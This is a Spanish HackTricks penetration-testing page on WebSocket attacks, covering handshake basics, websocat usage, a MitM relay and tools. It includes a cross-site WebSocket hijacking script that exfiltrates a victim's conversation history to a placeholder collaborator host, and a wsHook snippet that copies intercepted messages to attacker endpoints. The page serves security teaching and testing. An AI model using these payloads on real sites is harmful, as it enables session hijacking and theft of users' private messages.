13 KiB
Ataques a WebSockets
Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
¿Qué son los WebSockets?
Las conexiones de WebSocket se establecen a través de un apretón de manos HTTP inicial y están diseñadas para ser de larga duración, permitiendo el intercambio bidireccional de mensajes en cualquier momento sin necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren baja latencia o comunicación iniciada por el servidor, como flujos de datos financieros en vivo.
Establecimiento de Conexiones de WebSocket
Una explicación detallada sobre el establecimiento de conexiones de WebSocket se puede acceder aquí. En resumen, las conexiones de WebSocket suelen iniciarse a través de JavaScript en el lado del cliente, como se muestra a continuación:
var ws = new WebSocket("wss://normal-website.com/ws");
El protocolo wss
indica una conexión WebSocket segura con TLS, mientras que ws
indica una conexión no segura.
Durante el establecimiento de la conexión, se realiza un handshake entre el navegador y el servidor a través de HTTP. El proceso de handshake implica que el navegador envíe una solicitud y el servidor responda, como se ilustra en los siguientes ejemplos:
El navegador envía una solicitud de handshake:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Respuesta de saludo del servidor:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
La conexión permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida.
Puntos clave del Handshake de WebSocket:
- Los encabezados
Connection
yUpgrade
señalan el inicio de un Handshake de WebSocket. - El encabezado
Sec-WebSocket-Version
indica la versión deseada del protocolo WebSocket, generalmente13
. - Se envía un valor aleatorio codificado en Base64 en el encabezado
Sec-WebSocket-Key
, asegurando que cada Handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no es para autenticación, sino para confirmar que la respuesta no es generada por un servidor o caché mal configurados. - El encabezado
Sec-WebSocket-Accept
en la respuesta del servidor es un hash delSec-WebSocket-Key
, verificando la intención del servidor de abrir una conexión WebSocket.
Estas características aseguran que el proceso de Handshake sea seguro y confiable, allanando el camino para una comunicación en tiempo real eficiente.
Consola de Linux
Puedes usar websocat
para establecer una conexión cruda con un websocket.
websocat --insecure wss://10.10.10.10:8000 -v
O para crear un servidor de websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
Conexiones websocket MitM
Si descubres que los clientes están conectados a un websocket HTTP desde tu red local actual, podrías intentar un Ataque de Suplantación de ARP para realizar un ataque MitM entre el cliente y el servidor.
Una vez que el cliente esté intentando conectarse a ti, puedes usar:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Enumeración de Websockets
Puedes utilizar la herramienta https://github.com/PalindromeLabs/STEWS para descubrir, identificar y buscar automáticamente vulnerabilidades conocidas en websockets.
Herramientas de depuración de Websockets
- Burp Suite admite la comunicación MitM de websockets de una manera muy similar a como lo hace para la comunicación HTTP regular.
- La extensión de Burp Suite socketsleuth te permitirá gestionar de manera más efectiva las comunicaciones de Websocket en Burp al obtener el historial, establecer reglas de intercepción, utilizar reglas de coincidencia y reemplazo, usar Intruder y AutoRepeater.
- WSSiP: Abreviatura de "WebSocket/Socket.io Proxy", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para capturar, interceptar, enviar mensajes personalizados y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
- wsrepl es un REPL interactivo de websocket diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar mensajes de websocket entrantes y enviar nuevos, con un marco fácil de usar para automatizar esta comunicación.
- https://websocketking.com/ es una web para comunicarse con otras webs utilizando websockets.
- https://hoppscotch.io/realtime/websocket entre otros tipos de comunicaciones/protocolos, proporciona una web para comunicarse con otras webs utilizando websockets.
Laboratorio de Websocket
En Burp-Suite-Extender-Montoya-Course tienes un código para lanzar una web utilizando websockets y en este post puedes encontrar una explicación.
Secuestro de Websocket entre sitios (CSWSH)
El secuestro de Websocket entre sitios, también conocido como secuestro de Websocket entre orígenes cruzados, se identifica como un caso específico de Falsificación de petición en sitios cruzados (CSRF) que afecta a los handshakes de Websocket. Esta vulnerabilidad surge cuando los handshakes de Websocket se autentican únicamente a través de cookies HTTP sin tokens CSRF u otras medidas de seguridad similares.
Los atacantes pueden explotar esto al alojar una página web maliciosa que inicia una conexión de Websocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión del usuario con la aplicación, explotando la falta de protección CSRF en el mecanismo de manejo de sesiones.
Ataque Simple
Ten en cuenta que al establecer una conexión websocket, la cookie se envía al servidor. El servidor puede estar utilizándola para relacionar a cada usuario específico con su sesión de websocket basada en la cookie enviada.
Entonces, si por ejemplo el servidor websocket devuelve el historial de la conversación de un usuario si se envía un mensaje con "READY", entonces un simple XSS al establecer la conexión (la cookie se enviará automáticamente para autorizar al usuario víctima) enviando "READY" podrá recuperar el historial de la conversación.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie with a different subdomain
En esta publicación de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ el atacante logró ejecutar JavaScript arbitrario en un subdominio del dominio donde se estaba produciendo la comunicación del socket web. Debido a que era un subdominio, la cookie se estaba enviando, y debido a que el Websocket no verificaba el Origen correctamente, era posible comunicarse con él y robar tokens de él.
Robando datos del usuario
Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde se produce la comunicación del websocket, agrega este código:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Ahora descarga el archivo wsHook.js
desde https://github.com/skepticfx/wshook y guárdalo dentro de la carpeta con los archivos web.
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos a través del websocket:
sudo python3 -m http.server 80
Condiciones de Carrera
Las Condiciones de Carrera en WebSockets también son una cosa, consulta esta información para aprender más.
Otras vulnerabilidades
Dado que los WebSockets son un mecanismo para enviar datos al lado del servidor y al lado del cliente, dependiendo de cómo el servidor y el cliente manejen la información, los WebSockets pueden ser utilizados para explotar varias vulnerabilidades como XSS, SQLi u cualquier otra vulnerabilidad web común utilizando la entrada de un usuario desde un websocket.
WebSocket Smuggling
Esta vulnerabilidad podría permitirte burlar las restricciones de los proxies inversos haciéndoles creer que se estableció una comunicación websocket (aunque no sea cierto). Esto podría permitir a un atacante acceder a puntos finales ocultos. Para obtener más información, consulta la siguiente página:
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
Referencias
Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.